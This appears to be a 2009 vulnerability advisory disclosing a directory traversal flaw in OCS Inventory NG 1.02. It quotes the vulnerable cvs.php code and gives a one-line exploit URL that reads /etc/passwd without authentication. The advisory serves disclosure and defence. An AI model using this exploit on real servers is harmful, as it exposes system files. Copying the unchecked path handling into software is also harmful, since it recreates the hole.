OCS Inventory NG - Directory Traversal (May 30 2009) _______ * Product Open Computer and Software (OCS) Inventory NG (http://www.ocsinventory-ng.org) * Vulnerable Versions OCS Inventory NG 1.02 (Unix) * Vendor Status Vendor has been notified and the vulnerability has been fixed in version 1.02.1. * Details The Open Computer and Software (OCS) Inventory Next Generation (NG) provides relevant inventory information about system configurations and software on the network. The server can be managed using a web interface. It is possible for unauthenticated users to extract arbitrary files from the hosting system due to inadequate file handling in cvs.php. cvs.php: } elseif (isset($_GET['log'])){ if (file_exists($_GET['rep'].$_GET['log'])){ $tab = file($_GET['rep'].$_GET['log']); while(list($cle,$val) = each($tab)) { $toBeWritten .= $val."\r\n"; } $filename=$_GET['log']; } } * Impact Attackers may be able to read arbitrary files from the hosting system. * Exploit The vulnerability can be exploited by just using a web browser: http://example.org/ocsreports/cvs.php?log=/etc/passwd http://www.leidecker.info/advisories/2009-05-30-ocs_inventory_ng_directory_traversal.shtml Nico Leidecker - http://www.leidecker.info